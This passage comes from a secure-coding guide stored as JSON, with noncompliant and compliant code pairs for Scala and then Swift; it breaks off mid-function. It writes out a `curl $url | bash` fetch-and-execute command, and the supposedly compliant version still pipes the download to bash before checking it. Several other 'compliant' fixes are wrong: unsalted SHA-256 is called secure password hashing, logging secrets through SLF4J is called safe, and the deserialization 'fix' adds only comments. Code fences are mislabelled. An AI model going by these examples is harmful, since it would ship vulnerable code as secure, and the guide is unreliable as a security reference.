Compliant code - proper certificate validation\nimport java.net.URL\nimport java.net.HttpURLConnection\nimport javax.net.ssl.HttpsURLConnection\nimport javax.net.ssl.SSLContext\n\nval url = new URL(\"https://example.com\")\nval connection = url.openConnection().asInstanceOf[HttpsURLConnection]\nconnection.setRequestMethod(\"GET\")\n\n// Enable proper hostname verification\nval sslContext = SSLContext.getInstance(\"TLS\")\nsslContext.init(null, null, null)\nconnection.setSSLSocketFactory(sslContext.getSocketFactory())\n\nval responseCode = connection.getResponseCode()\n```\n\n\nIn the compliant code, the HttpsURLConnection class is used instead of HttpURLConnection to establish an HTTPS connection, which is required for secure communication. The SSLContext class is used to initialize an SSL context with default parameters.\n\nThe setSSLSocketFactory method is then called on the connection object to set the SSL socket factory from the initialized SSL context. This ensures that proper certificate validation and hostname verification are performed by the underlying SSL implementation.\n\nBy using the HttpsURLConnection class and enabling proper hostname verification, the compliant code ensures that the certificate presented by the server is validated against the host, mitigating the risk of connecting to a server with a mismatched or invalid certificate. It is important to perform proper certificate validation to establish secure and trusted connections.\n\n\n\n\n## Improper Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - improper authentication\nimport java.util.Scanner\n\nval scanner = new Scanner(System.in)\nprintln(\"Enter username:\")\nval username = scanner.nextLine()\nprintln(\"Enter password:\")\nval password = scanner.nextLine()\n\n// Perform authentication logic\nval isAuthenticated = authenticate(username, password)\n\nif (isAuthenticated) {\n  println(\"Authentication successful\")\n} else {\n  println(\"Authentication failed\")\n}\n\ndef authenticate(username: String, password: String): Boolean = {\n  // Authentication logic goes here\n  // ...\n  true // Dummy authentication logic for demonstration purposes\n}\n```\n\nIn the noncompliant code, the authentication process relies on reading the username and password from the standard input using the Scanner class. The credentials are then passed to the authenticate function, which performs the authentication logic. However, this approach is insecure as it exposes the sensitive credentials to potential eavesdropping.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - proper authentication\nimport java.io.Console\n\nval console: Console = System.console()\nval username = console.readLine(\"Enter username: \")\nval password = console.readPassword(\"Enter password: \")\n\n// Perform authentication logic\nval isAuthenticated = authenticate(username, password)\n\nif (isAuthenticated) {\n  println(\"Authentication successful\")\n} else {\n  println(\"Authentication failed\")\n}\n\ndef authenticate(username: String, password: Array[Char]): Boolean = {\n  // Authentication logic goes here\n  // ...\n  true // Dummy authentication logic for demonstration purposes\n}\n```\n\n\nIn the compliant code, the authentication process uses the Console class to read the username and password from the console. The readLine method is used to read the username, while the readPassword method is used to securely read the password as a character array instead of a plain text string.\n\nBy using the Console class, the compliant code avoids exposing the sensitive credentials in plain text and provides a more secure approach to handle user input for authentication.\n\n\n\n\n## Session Fixation\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - session fixation vulnerability\nimport javax.servlet.http.{HttpServletRequest, HttpServletResponse}\n\ndef login(request: HttpServletRequest, response: HttpServletResponse): Unit = {\n  val sessionId = request.getParameter(\"sessionid\")\n  // Perform login logic\n  // ...\n  val newSessionId = generateNewSessionId()\n  request.getSession(true).setAttribute(\"sessionid\", newSessionId)\n  response.sendRedirect(\"/dashboard\")\n}\n\ndef generateNewSessionId(): String = {\n  // Generate new session ID logic goes here\n  // ...\n  \"newSessionId\" // Dummy session ID for demonstration purposes\n}\n```\n\nIn the noncompliant code, the login function receives an HTTP request and response objects. It retrieves the sessionid parameter from the request, performs the login logic, generates a new session ID using the generateNewSessionId function, and sets the new session ID as an attribute in the session. However, this code is vulnerable to session fixation attacks because it accepts the sessionid parameter from an untrusted source without invalidating any existing session.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - protected against session fixation\nimport javax.servlet.http.{HttpServletRequest, HttpServletResponse}\nimport java.util.UUID\n\ndef login(request: HttpServletRequest, response: HttpServletResponse): Unit = {\n  val newSessionId = generateNewSessionId()\n  request.changeSessionId() // Invalidate existing session ID\n  request.getSession(true).setAttribute(\"sessionid\", newSessionId)\n  response.sendRedirect(\"/dashboard\")\n}\n\ndef generateNewSessionId(): String = {\n  UUID.randomUUID().toString // Generate a new session ID using a secure method\n}\n```\n\n\nIn the compliant code, the login function generates a new session ID using a secure method such as UUID.randomUUID(). Before setting the new session ID, the code invalidates any existing session by calling request.changeSessionId(). This ensures that any previously fixed session IDs are invalidated and a new session is established.\n\nBy generating a new session ID and invalidating any existing session, the compliant code protects against session fixation attacks by ensuring that each user receives a unique and secure session ID upon login.\n\n\n\n\n## Inclusion of Functionality from Untrusted Control\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\n// Noncompliant code - inclusion of functionality from untrusted control\ndef processTemplate(templateName: String): String = {\n  val template = loadTemplate(templateName)\n  template.render()\n}\n\ndef loadTemplate(templateName: String): Template = {\n  // Load template file from untrusted source\n  // ...\n  Template.fromFile(templateName) // Unsafe inclusion of template\n}\n```\n\nIn the noncompliant code, the processTemplate function takes a templateName parameter and attempts to load a template using the loadTemplate function. However, the code is vulnerable to the inclusion of functionality from an untrusted control because it directly includes the template specified by templateName without proper validation or sanitization.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\n// Compliant code - protected against inclusion of functionality from untrusted control\ndef processTemplate(templateName: String): String = {\n  val template = loadTemplate(templateName)\n  template.render()\n}\n\ndef loadTemplate(templateName: String): Template = {\n  if (isValidTemplateName(templateName)) {\n    // Load template from trusted source\n    // ...\n    Template.fromFile(templateName) // Safe inclusion of template\n  } else {\n    throw new IllegalArgumentException(\"Invalid template name\")\n  }\n}\n\ndef isValidTemplateName(templateName: String): Boolean = {\n  // Implement validation logic for template name\n  // ...\n  // Return true if the template name is valid, false otherwise\n}\n```\n\n\nIn the compliant code, the loadTemplate function includes additional validation logic by introducing the isValidTemplateName function. Before loading the template, the code checks if the templateName is valid by calling isValidTemplateName. If the template name is valid, the code proceeds to load the template from a trusted source using Template.fromFile. However, if the template name is determined to be invalid, an exception is thrown to handle the error.\n\nBy implementing proper validation of the template name, the compliant code protects against the inclusion of functionality from untrusted control by ensuring that only trusted templates are loaded and rendered.\n\n\n## Download of Code Without Integrity Check\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport scala.sys.process._\n\ndef downloadAndExecute(url: String): Unit = {\n  val command = s\"curl $url | bash\"\n  command.!\n}\n```\n\nIn the noncompliant code, the downloadAndExecute function takes a URL as input and downloads the code using curl, then pipes the output to bash for execution. However, the code is vulnerable to the download of code without integrity check. It directly executes the downloaded code without verifying its integrity or authenticity.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport scala.sys.process._\n\ndef downloadAndExecute(url: String, checksum: String): Unit = {\n  val command = s\"curl $url | bash\"\n  val downloadedCode = command.!!\n\n  if (verifyIntegrity(downloadedCode, checksum)) {\n    // Execute the downloaded code\n    // ...\n  } else {\n    throw new SecurityException(\"Code integrity check failed\")\n  }\n}\n\ndef verifyIntegrity(code: String, checksum: String): Boolean = {\n  // Perform integrity check by comparing the code's checksum with the expected checksum\n  // ...\n  // Return true if the code's integrity is valid, false otherwise\n}\n```\n\n\nIn the compliant code, the downloadAndExecute function takes an additional checksum parameter, which represents the expected checksum of the downloaded code. After downloading the code using curl, the code performs an integrity check by calling the verifyIntegrity function. The verifyIntegrity function compares the downloaded code's checksum with the expected checksum. If the integrity check passes, the code proceeds to execute the downloaded code. However, if the integrity check fails, a SecurityException is thrown to handle the potential security risk.\n\nBy introducing the integrity check, the compliant code mitigates the risk of executing downloaded code that may have been tampered with or compromised during transit. It ensures that the downloaded code is verified against an expected checksum before execution.\n\n\n\n## Deserialization of Untrusted Data\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.{ByteArrayInputStream, ObjectInputStream}\n\ndef deserializeObject(data: Array[Byte]): Any = {\n  val stream = new ByteArrayInputStream(data)\n  val objectInputStream = new ObjectInputStream(stream)\n  val obj = objectInputStream.readObject()\n  objectInputStream.close()\n  obj\n}\n```\n\nIn the noncompliant code, the deserializeObject function takes an array of bytes (data) and attempts to deserialize it using an ObjectInputStream. However, this code is vulnerable to deserialization attacks because it directly deserializes untrusted data without any validation or sanitization. An attacker could potentially provide maliciously crafted serialized data, leading to security issues such as remote code execution or denial of service.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.io.{ByteArrayInputStream, ObjectInputStream}\nimport java.util.Base64\n\ndef deserializeObject(data: Array[Byte]): Any = {\n  val stream = new ByteArrayInputStream(data)\n  val objectInputStream = new ObjectInputStream(stream)\n\n  // Perform input validation and sanitize the data\n  // Example: Validate that the data is from a trusted source or has a specific format\n\n  val obj = objectInputStream.readObject()\n  objectInputStream.close()\n  obj\n}\n```\n\n\nIn the compliant code, additional input validation and data sanitization steps are performed before deserialization. These steps can vary depending on the specific requirements of your application, but some common practices include:\n\n* Validating that the data comes from a trusted source.\n* Ensuring the data has a specific expected format or structure.\n* Applying data integrity checks, such as verifying digital signatures or checksums.\n* Filtering or rejecting data that doesn't meet the necessary criteria.\n\nBy implementing proper input validation and data sanitization, the compliant code reduces the risk of deserialization attacks by ensuring that only trusted and expected data is deserialized. It helps prevent the execution of malicious code or the exploitation of vulnerabilities through deserialization.\n\n\n\n## Insufficient Logging\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.{FileWriter, IOException}\n\ndef performSensitiveOperation(input: String): Unit = {\n  try {\n    // Perform sensitive operation here\n\n    // Log success message\n    val logMessage = s\"Sensitive operation successful for input: $input\"\n    val fileWriter = new FileWriter(\"application.log\", true)\n    fileWriter.write(logMessage)\n    fileWriter.close()\n  } catch {\n    case e: Exception =>\n      // Log error message\n      val logMessage = s\"Error performing sensitive operation for input: $input - ${e.getMessage}\"\n      val fileWriter = new FileWriter(\"application.log\", true)\n      fileWriter.write(logMessage)\n      fileWriter.close()\n  }\n}\n```\n\nIn the noncompliant code, the performSensitiveOperation function performs a sensitive operation and logs both success and error messages to a log file. However, the logging implementation is inadequate and prone to several issues:\n\n* Lack of log severity levels: The code does not differentiate between different severity levels (e.g., INFO, WARN, ERROR), making it challenging to prioritize and respond to different types of log events appropriately.\n* Insufficient log details: The log messages lack sufficient details to understand the context and cause of the logged events, making troubleshooting and analysis difficult.\n* Manual file handling: The code manually handles file writing and closing, which can lead to resource leaks and potential file access conflicts.\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.slf4j.{Logger, LoggerFactory}\n\n// Define logger instance\nval logger: Logger = LoggerFactory.getLogger(getClass)\n\ndef performSensitiveOperation(input: String): Unit = {\n  try {\n    // Perform sensitive operation here\n\n    // Log success message with appropriate severity level\n    logger.info(s\"Sensitive operation successful for input: $input\")\n  } catch {\n    case e: Exception =>\n      // Log error message with appropriate severity level and exception stack trace\n      logger.error(s\"Error performing sensitive operation for input: $input\", e)\n  }\n}\n```\n\n\nIn the compliant code, a logging framework (e.g., SLF4J) is utilized to address the issues with insufficient logging. The code leverages the framework's capabilities to handle log severity levels, provide meaningful log details, and handle file writing and resource management.\n\nKey improvements in the compliant code:\n\n* Logging framework: The code uses an established logging framework (SLF4J) to handle logging operations, which provides more robust and flexible logging features.\n* Log severity levels: The code includes appropriate log severity levels (e.g., INFO for success, ERROR for errors) to differentiate between different types of log events.\n* Enhanced log details: The code includes relevant contextual information in the log messages, such as the input value and exception stack trace for error scenarios, to aid in troubleshooting and analysis.\n* Framework-managed file handling: The logging framework takes care of file writing and resource management, eliminating the need for manual file handling and reducing the risk of resource leaks or file access conflicts.\n\nBy adopting a proper logging framework and following best practices for logging, the compliant code improves the effectiveness and usefulness of the logs, facilitating better monitoring, troubleshooting, and incident response in the application.\n\n\n## Improper Output Neutralization for Logs\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.{FileWriter, IOException}\n\ndef logSensitiveInformation(input: String): Unit = {\n  try {\n    // Log sensitive information without proper output neutralization\n    val logMessage = s\"Sensitive input received: $input\"\n    val fileWriter = new FileWriter(\"application.log\", true)\n    fileWriter.write(logMessage)\n    fileWriter.close()\n  } catch {\n    case e: IOException =>\n      println(\"Error writing to log file: \" + e.getMessage)\n  }\n}\n```\n\nIn the noncompliant code, the logSensitiveInformation function logs sensitive information without proper output neutralization. It directly concatenates the sensitive input value with a log message and writes it to a log file. This approach can lead to log injection attacks where an attacker can manipulate the input value to modify the log message or inject malicious content.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.slf4j.{Logger, LoggerFactory}\nimport org.apache.commons.text.StringEscapeUtils\n\n// Define logger instance\nval logger: Logger = LoggerFactory.getLogger(getClass)\n\ndef logSensitiveInformation(input: String): Unit = {\n  try {\n    // Log sensitive information with proper output neutralization\n    val sanitizedInput = StringEscapeUtils.escapeJava(input)\n    val logMessage = s\"Sensitive input received: $sanitizedInput\"\n    logger.info(logMessage)\n  } catch {\n    case e: Exception =>\n      logger.error(\"Error logging sensitive information: \" + e.getMessage)\n  }\n}\n```\n\n\nIn the compliant code, proper output neutralization is applied to ensure that the logged information is safe and does not introduce vulnerabilities. The code uses the StringEscapeUtils.escapeJava method from Apache Commons Text library to escape special characters in the input value. This ensures that any special characters are properly encoded and do not affect the log format or introduce injection vulnerabilities.\n\nKey improvements in the compliant code:\n\n* Output neutralization: The code applies proper output neutralization using the StringEscapeUtils.escapeJava method to escape special characters in the input value before logging.\n* Logging framework: The code utilizes a logging framework (SLF4J) to handle log operations, providing better log management and configurability.\n* Enhanced error handling: The code catches exceptions and logs appropriate error messages using the logging framework, improving the handling of potential errors during logging.\n\nBy applying proper output neutralization and using a logging framework, the compliant code mitigates the risk of log injection attacks and ensures that logged information is safe and accurately represents the intended content.\n\n\n\n\n## Omission of Security-relevant Information\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.security.MessageDigest\n\ndef hashPassword(password: String): String = {\n  val md = MessageDigest.getInstance(\"SHA-256\")\n  md.update(password.getBytes)\n  val digest = md.digest()\n  digest.toString\n}\n```\n\nIn the noncompliant code, the hashPassword function hashes a password using the SHA-256 algorithm. However, it suffers from the omission of security-relevant information. The code only converts the digest to a string using the default toString method, which does not provide a secure representation of the hashed password. It may expose sensitive information and make it easier for an attacker to reverse-engineer or guess the original password.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.security.MessageDigest\nimport java.util.Base64\n\ndef hashPassword(password: String): String = {\n  val md = MessageDigest.getInstance(\"SHA-256\")\n  md.update(password.getBytes)\n  val digest = md.digest()\n  Base64.getEncoder.encodeToString(digest)\n}\n```\n\n\nIn the compliant code, security-relevant information is properly included to ensure the secure representation of the hashed password. The code uses the Base64.getEncoder class from the java.util package to encode the digest into a Base64 string representation. This provides a more secure and standardized format for storing and transmitting the hashed password.\n\nKey improvements in the compliant code:\n\n1. Use of Base64 encoding: The code uses the Base64.getEncoder.encodeToString method to convert the digest into a Base64 string representation, ensuring a secure and portable format for the hashed password.\n2. Enhanced security: By including the secure representation of the hashed password, the compliant code reduces the risk of exposing sensitive information and makes it more challenging for attackers to reverse-engineer or guess the original password.\n\nBy including the security-relevant information and using proper encoding, the compliant code enhances the security of the hashed password and mitigates the risk of exposing sensitive information during storage or transmission.\n\n\n\n\n\n## Sensitive Information into Log File\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.io.FileWriter\n\ndef logSensitiveInformation(data: String): Unit = {\n  val fileWriter = new FileWriter(\"logfile.txt\", true)\n  fileWriter.write(s\"Sensitive information: $data\\n\")\n  fileWriter.close()\n}\n```\n\nIn the noncompliant code, the logSensitiveInformation function logs sensitive information by directly appending it to a log file. This approach is insecure because it may expose the sensitive data if the log file is accessed by unauthorized individuals. Storing sensitive information in plain text format increases the risk of data leakage and compromises the confidentiality of the information.\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport org.slf4j.LoggerFactory\n\ndef logSensitiveInformation(data: String): Unit = {\n  val logger = LoggerFactory.getLogger(getClass)\n  logger.info(s\"Sensitive information: $data\")\n}\n```\n\n\nIn the compliant code, the logSensitiveInformation function uses a logging framework (in this case, SLF4J) to handle log statements. By leveraging a logging framework, sensitive information can be logged securely and with more control. The compliant code uses the info log level to indicate that the log statement contains sensitive information.\n\nKey improvements in the compliant code:\n\n1. Logging framework: The compliant code utilizes a logging framework, which provides more features, configurability, and security for handling log statements.\n2. Log level selection: The code uses an appropriate log level (such as info) to indicate the presence of sensitive information in the log statement.\n3. Avoidance of direct file manipulation: By utilizing a logging framework, the compliant code avoids directly appending sensitive information to a log file, reducing the risk of unauthorized access or exposure.\n\nBy using a logging framework and selecting appropriate log levels, the compliant code enhances the security of sensitive information by logging it in a more controlled and secure manner. This helps protect the confidentiality of sensitive data and reduces the risk of unauthorized access or exposure through log files.\n\n\n\n## Server-Side Request Forgery (SSRF)\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```php\nimport java.net.URL\nimport scala.io.Source\n\ndef fetchURLContent(url: String): String = {\n  val source = Source.fromURL(new URL(url))\n  source.mkString\n}\n```\n\nIn the noncompliant code, the fetchURLContent function takes a URL as input and fetches the content from that URL using the Source.fromURL method. This code is vulnerable to SSRF attacks because it does not properly validate or restrict the URLs that can be accessed. An attacker could potentially abuse this functionality to make requests to internal resources or even external resources that should be inaccessible.\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```php\nimport java.net.URL\nimport scala.io.Source\n\ndef fetchURLContent(url: String): String = {\n  val validatedURL = validateURL(url)\n  val source = Source.fromURL(new URL(validatedURL))\n  source.mkString\n}\n\ndef validateURL(url: String): String = {\n  // Implement URL validation logic according to your requirements\n  // Verify that the URL is from a trusted domain or whitelist\n  // Restrict access to internal resources if needed\n  // Apply appropriate URL filtering or validation rules\n  // Return the validated URL or throw an exception if invalid\n  // Example: Check if the URL starts with a trusted domain\n  val trustedDomain = \"https://example.com\"\n  if (!url.startsWith(trustedDomain)) {\n    throw new IllegalArgumentException(\"Invalid or unauthorized URL\")\n  }\n  url\n}\n```\n\n\nIn the compliant code, the fetchURLContent function includes an additional step to validate the input URL before accessing its content. The validateURL function is introduced to perform the URL validation and enforce any necessary restrictions or filtering. It ensures that only trusted and authorized URLs are processed, reducing the risk of SSRF attacks.\n\nKey improvements in the compliant code:\n\n1. URL validation: The compliant code implements a validateURL function to validate the input URL based on the specific requirements of the application. It can include checks such as verifying the URL's domain against a trusted list, applying whitelisting or blacklisting rules, or restricting access to internal resources.\n2. Restrictive access: The validateURL function enforces restrictions on the URLs that can be accessed, ensuring that only authorized URLs are processed. This helps prevent SSRF attacks by limiting the scope of allowed requests.\n3. Exception handling: If an invalid or unauthorized URL is detected during the validation process, an exception is thrown, indicating that the URL is invalid or not permitted. Proper exception handling can help in identifying and handling potential SSRF attempts.\n\nBy implementing URL validation and enforcing restrictions on the URLs that can be accessed, the compliant code mitigates the risk of SSRF attacks. It provides a layer of protection by ensuring that only trusted and authorized URLs are processed, reducing the possibility of accessing sensitive or unintended resources."
  },
  {
    "path": "docs/rules/swift.md",
    "content": "---\nlayout: default\ntitle: Swift\nparent: Rules\n---\n\n# Swift\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n\n\n### Improper Platform Usage\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nimport UIKit\n\nclass ViewController: UIViewController {\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let urlString = \"http://example.com/api/data\"\n        let url = URL(string: urlString)!\n        let request = URLRequest(url: url)\n        \n        let task = URLSession.shared.dataTask(with: request) { (data, response, error) in\n            if let error = error {\n                print(\"Error: \\(error.localizedDescription)\")\n                return\n            }\n            \n            if let data = data {\n                let json = try? JSONSerialization.jsonObject(with: data, options: [])\n                print(\"Response: \\(json ?? \"\")\")\n            }\n        }\n        \n        task.resume()\n    }\n}\n```\n\nThe noncompliant code makes an HTTP request to a remote URL using URLSession.shared.dataTask(with:completionHandler:) without properly validating or handling potential security issues. It doesn't check whether the remote URL is secure (HTTPS) or whether it belongs to a trusted domain. This could lead to security vulnerabilities such as man-in-the-middle attacks or connecting to malicious servers.\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport UIKit\n\nclass ViewController: UIViewController {\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        let urlString = \"https://example.com/api/data\"\n        \n        guard let urlComponents = URLComponents(string: urlString),\n              let host = urlComponents.host,\n              let scheme = urlComponents.scheme,\n              scheme.lowercased().hasPrefix(\"https\") else {\n            print(\"Invalid URL or scheme\")\n            return\n        }\n        \n        // Perform additional validation checks if required, such as verifying the domain or certificate\n        \n        guard let url = urlComponents.url else {\n            print(\"Failed to create URL\")\n            return\n        }\n        \n        let request = URLRequest(url: url)\n        \n        let task = URLSession.shared.dataTask(with: request) { (data, response, error) in\n            if let error = error {\n                print(\"Error: \\(error.localizedDescription)\")\n                return\n            }\n            \n            if let data = data {\n                let json = try? JSONSerialization.jsonObject(with: data, options: [])\n                print(\"Response: \\(json ?? \"\")\")\n            }\n        }\n        \n        task.resume()\n    }\n}\n```\n\n\nThe compliant code addresses the improper platform usage issue by performing additional checks on the URL. It uses URLComponents to parse and extract the host and scheme from the URL. It then validates that the scheme is HTTPS before proceeding with the request. Additional validation checks can be added if required, such as verifying the domain or certificate before making the request. By ensuring the URL is secure and trusted, the code mitigates potential security risks associated with improper platform usage.\n\n\n\n\n\n### Insecure Data Storage\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nimport UIKit\n\nclass ViewController: UIViewController {\n    \n    let password = \"myPassword\"\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        // Saving password to UserDefaults\n        UserDefaults.standard.set(password, forKey: \"password\")\n        \n        // Reading password from UserDefaults\n        let storedPassword = UserDefaults.standard.string(forKey: \"password\")\n        print(\"Stored Password: \\(storedPassword ?? \"\")\")\n    }\n}\n```\n\nThe noncompliant code stores a sensitive password string directly into the UserDefaults, which is insecure. UserDefaults is not designed for secure data storage and should not be used to store sensitive information such as passwords or authentication tokens. Storing sensitive data in UserDefaults can expose it to potential security risks, including unauthorized access or extraction by malicious actors.\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport UIKit\nimport KeychainAccess\n\nclass ViewController: UIViewController {\n    \n    let password = \"myPassword\"\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        do {\n            // Saving password to Keychain\n            let keychain = Keychain(service: \"com.example.app\")\n            try keychain.set(password, key: \"password\")\n            \n            // Reading password from Keychain\n            let storedPassword = try keychain.get(\"password\")\n            print(\"Stored Password: \\(storedPassword ?? \"\")\")\n        } catch {\n            print(\"Error: \\(error.localizedDescription)\")\n        }\n    }\n}\n```\n\n\nThe compliant code addresses the insecure data storage issue by using a secure storage mechanism, in this case, the KeychainAccess library. The sensitive password is stored in the Keychain, which provides a more secure storage solution compared to UserDefaults. The Keychain is designed to securely store sensitive information, such as passwords or cryptographic keys, and offers additional protection measures, such as encryption and access controls, to ensure the confidentiality and integrity of the stored data. By using the Keychain for sensitive data storage, the code mitigates potential security risks associated with insecure data storage usage.\n\n\n\n\n### Insecure Communication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nimport UIKit\n\nclass ViewController: UIViewController {\n    \n    let apiUrl = \"http://example.com/api\"\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        // Insecurely sending a request to the API\n        if let url = URL(string: apiUrl) {\n            let request = URLRequest(url: url)\n            let session = URLSession.shared\n            \n            let task = session.dataTask(with: request) { (data, response, error) in\n                if let error = error {\n                    print(\"Error: \\(error.localizedDescription)\")\n                } else if let data = data {\n                    let responseString = String(data: data, encoding: .utf8)\n                    print(\"Response: \\(responseString ?? \"\")\")\n                }\n            }\n            \n            task.resume()\n        }\n    }\n}\n```\n\nThe noncompliant code sends a request to an API using an insecure communication method. In this example, the API URL is using the HTTP protocol, which does not provide encryption and data integrity. This leaves the communication susceptible to eavesdropping, man-in-the-middle attacks, and data tampering.\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport UIKit\n\nclass ViewController: UIViewController {\n    \n    let apiUrl = \"https://example.com/api\"\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        \n        // Securely sending a request to the API\n        if let url = URL(string: apiUrl) {\n            let request = URLRequest(url: url)\n            let session = URLSession(configuration: .default)\n            \n            let task = session.dataTask(with: request) { (data, response, error) in\n                if let error = error {\n                    print(\"Error: \\(error.localizedDescription)\")\n                } else if let data = data {\n                    let responseString = String(data: data, encoding: .utf8)\n                    print(\"Response: \\(responseString ?? \"\")\")\n                }\n            }\n            \n            task.resume()\n        }\n    }\n}\n```\n\n\nThe compliant code addresses the insecure communication issue by using the HTTPS protocol to establish a secure connection with the API. By changing the API URL to use the HTTPS protocol, the communication between the client and the server is encrypted, ensuring the confidentiality and integrity of the data transmitted over the network. Using HTTPS mitigates the risk of eavesdropping, tampering, and unauthorized access to sensitive information during the communication process.\n\n\n\n\n### Insecure Authentication\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nimport UIKit\n\nclass LoginViewController: UIViewController {\n    \n    @IBOutlet weak var usernameTextField: UITextField!\n    @IBOutlet weak var passwordTextField: UITextField!\n    \n    @IBAction func loginButtonTapped(_ sender: UIButton) {\n        let username = usernameTextField.text ?? \"\"\n        let password = passwordTextField.text ?? \"\"\n        \n        // Noncompliant code: Insecurely sending username and password over HTTP\n        let apiUrl = \"http://example.com/login\"\n        let requestUrl = URL(string: apiUrl)!\n        \n        var request = URLRequest(url: requestUrl)\n        request.httpMethod = \"POST\"\n        \n        let body = \"username=\\(username)&password=\\(password)\"\n        request.httpBody = body.data(using: .utf8)\n        \n        let session = URLSession.shared\n        let task = session.dataTask(with: request) { (data, response, error) in\n            // Handle response\n        }\n        \n        task.resume()\n    }\n}\n```\n\nThe noncompliant code demonstrates insecure authentication by sending the username and password over an insecure HTTP connection. The code constructs a URL with the login endpoint and creates a POST request with the username and password as part of the request body. However, using an insecure HTTP connection exposes the sensitive credentials to eavesdropping, interception, and potential credential theft.\n\nTo address this issue, here's an example of compliant code:\n\n\n\n\n\n\n\n\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-green-000\"></span>Compliant code:\n\n\n```java\nimport UIKit\n\nclass LoginViewController: UIViewController {\n    \n    @IBOutlet weak var usernameTextField: UITextField!\n    @IBOutlet weak var passwordTextField: UITextField!\n    \n    @IBAction func loginButtonTapped(_ sender: UIButton) {\n        let username = usernameTextField.text ?? \"\"\n        let password = passwordTextField.text ?? \"\"\n        \n        // Compliant code: Securely sending username and password over HTTPS\n        let apiUrl = \"https://example.com/login\"\n        let requestUrl = URL(string: apiUrl)!\n        \n        var request = URLRequest(url: requestUrl)\n        request.httpMethod = \"POST\"\n        \n        let body = \"username=\\(username)&password=\\(password)\"\n        request.httpBody = body.data(using: .utf8)\n        \n        let session = URLSession(configuration: .default)\n        let task = session.dataTask(with: request) { (data, response, error) in\n            // Handle response\n        }\n        \n        task.resume()\n    }\n}\n```\n\n\nThe compliant code addresses the insecure authentication issue by using an HTTPS connection to securely send the username and password. The code constructs a URL with the login endpoint using the HTTPS protocol, ensuring that the communication between the client and server is encrypted and secure. By sending the sensitive credentials over a secure channel, the risk of eavesdropping, interception, and credential theft is mitigated.\n\n\n\n\n\n\n\n### Insufficient Cryptography\n\n<span class=\"d-inline-block p-2 mr-1 v-align-middle bg-red-000\"></span>Noncompliant code:\n\n\n```java\nimport CommonCrypto\n\nfunc encryptData(data: Data, key: String) -> Data? {\n    let keyData = key.data(using: .utf8)!\n    let algorithm: CCAlgorithm = CCAlgorithm(kCCAlgorithmAES)\n    let options: CCOptions = CCOptions(kCCOptionECBMode)\n    let keyLength = size_t(kCCKeySizeAES256)\n    let bufferSize = data.count + kCCBlockSizeAES128\n    var buffer = Data(count: bufferSize)\n    \n    let status = keyData.withUnsafeBytes { keyBytes in\n        data.withUnsafeBytes { dataBytes in\n            buffer.withUnsafeMutableBytes { bufferBytes in\n                